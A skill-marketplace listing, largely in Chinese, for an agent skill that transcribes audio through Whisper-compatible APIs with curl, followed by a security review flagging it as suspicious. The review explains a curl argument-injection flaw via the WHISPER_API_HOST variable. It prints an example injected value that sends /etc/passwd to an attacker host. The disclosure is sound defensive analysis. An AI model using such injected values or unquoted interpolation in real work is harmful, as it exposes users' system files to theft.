← 返回 Skills 市场

ANY WHISPER API

Name: ANY WHISPER API
Author: nw15d

作者 Neow15ard · GitHub ↗ · v1.3.0

cross-platform ⚠ suspicious

514

总下载

当前安装

版本数

在 OpenClaw 中安装

/install any-whisper-api

功能描述

Transcribe audio via API Whisper with any compatible local servers.

使用说明 (SKILL.md)

OpenAI Whisper API (curl)

Transcribe an audio file via OpenAI’s /v1/audio/transcriptions endpoint.

Quick start

{baseDir}/scripts/transcribe.sh /path/to/audio.m4a

Defaults:

Model: whisper-1
Output: \x3Cinput>.txt

Whisper.cpp example

/ai/whisper.cpp/build/bin/whisper-server -m /ai/models/whisper/ggml-large-v3-turbo-q8_0.bin --host 192.168.0.55 --port 5005 -sow --vad --vad-model /ai/models/whisper/ggml-silero-v6.2.0.bin --inference-path /v1/audio/transcriptions

Useful flags

{baseDir}/scripts/transcribe.sh /path/to/audio.ogg --model whisper-1 --out /tmp/transcript.txt
{baseDir}/scripts/transcribe.sh /path/to/audio.m4a --language en
{baseDir}/scripts/transcribe.sh /path/to/audio.m4a --prompt "Speaker names: Peter, Daniel"
{baseDir}/scripts/transcribe.sh /path/to/audio.m4a --json --out /tmp/transcript.json

API key

Set WHISPER_API_KEY and WHISPER_API_HOST, or configure it in ~/.clawdbot/clawdbot.json:

{
  skills: {
    "openai-whisper-api": {
      apiKey: "WHISPER_API_KEY_HERE",
      apiHost: "WHISPER_API_HOST_HERE"
    }
  }
}

安全使用建议

This script will upload whatever audio file you give it to the host in WHISPER_API_HOST using the token in WHISPER_API_KEY. Before using: (1) verify WHISPER_API_HOST is a trusted endpoint (a local whisper server or the official API) — a malicious host could capture your audio; (2) keep WHISPER_API_KEY secret; (3) note the transcript is written to disk at the output path (default: <input>.txt) so handle that file appropriately; (4) the SKILL.md config example references "openai-whisper-api" (likely copy/paste) — that’s a naming inconsistency but not a functional issue. If you plan to point to an unauthenticated local server, you can still set WHISPER_API_HOST but the script currently requires an API key even if the server doesn’t need one.

功能分析

Type: OpenClaw Skill Name: any-whisper-api Version: 1.3.0 The `scripts/transcribe.sh` file contains a shell injection vulnerability. The `WHISPER_API_HOST` environment variable is directly interpolated into the `curl` command without proper quoting or sanitization. An attacker who can control this environment variable could inject arbitrary `curl` arguments, potentially leading to data exfiltration (e.g., `WHISPER_API_HOST="attacker.com --data-binary @/etc/passwd"`) or other unauthorized actions.

能力评估

✓ Purpose & Capability

Name/description, required binary (curl), and required env vars (WHISPER_API_KEY, WHISPER_API_HOST) align with the stated purpose of sending audio to a Whisper-compatible API for transcription.

ℹ Instruction Scope

SKILL.md and scripts/transcribe.sh are narrowly scoped: they read a local audio file, require the API key/host, POST the file to /v1/audio/transcriptions, and write the transcript to disk. Note: the script will send the audio to whatever WHISPER_API_HOST is set to (defaulting to api.openai.com), so the host must be trusted.

✓ Install Mechanism

No install spec (instruction-only plus a small shell script). Nothing is downloaded or written during install — lowest-risk install pattern.

ℹ Credentials

Requested environment variables are appropriate for this task. Minor quibble: requiring WHISPER_API_KEY for a local, unauthenticated Whisper server is unnecessary but not dangerous. Ensure the provided WHISPER_API_HOST and WHISPER_API_KEY are correct and trusted because sensitive audio will be transmitted to that endpoint.

✓ Persistence & Privilege

always:false and no special persistence or cross-skill config modifications. The skill does not request elevated or persistent platform privileges.

如何使用

确保已安装 OpenClaw（本地或 Docker 部署）
在对话框中输入安装命令：/install any-whisper-api
安装完成后，直接呼叫该 Skill 的名称或使用 /any-whisper-api 触发
根据 Skill 的参数说明提供必要输入，即可获得结构化输出

版本历史

v1.3.0

Version 1.3.0 - Added an example command for running a compatible Whisper.cpp server, showing configuration for integration with this skill.

v1.2.0

- Renamed skill to "any-whisper-api" and updated references accordingly. - Fixed environment variable requirements to include both WHISPER_API_KEY and WHISPER_API_HOST. -USE wisper.cpp with --inference-path /v1/audio/transcriptions

v1.1.0

- Initial release of the openai-whisper-api skill. - Transcribe audio files via compatible OpenAI Whisper API endpoints using curl scripts. - Supports model selection, output format (.txt/.json), language specification, and custom prompts. - Requires setting WHISPER_API_KEY and WHISPER_API_HOST environment variables. - Simple command-line interface for fast audio transcription.

元数据

Slug any-whisper-api

版本 1.3.0

许可证 —

累计安装 0

当前安装数 0

历史版本数 3

常见问题

ANY WHISPER API 是什么？

Transcribe audio via API Whisper with any compatible local servers. 它是一个面向 Claude Code / OpenClaw 的 AI Agent Skill 插件，目前累计下载 514 次。

如何安装 ANY WHISPER API？

在 OpenClaw 或 Claude Code 对话框中运行命令「/install any-whisper-api」即可一键安装，无需额外配置。

ANY WHISPER API 是免费的吗？

是的，ANY WHISPER API 完全免费（开源免费），可自由下载、安装和使用。

ANY WHISPER API 支持哪些平台？

ANY WHISPER API 跨平台运行，可在任意部署了 OpenClaw / Claude Code 的环境中使用（cross-platform）。

谁开发了 ANY WHISPER API？

由 Neow15ard（@nw15d）开发并维护，当前版本 v1.3.0。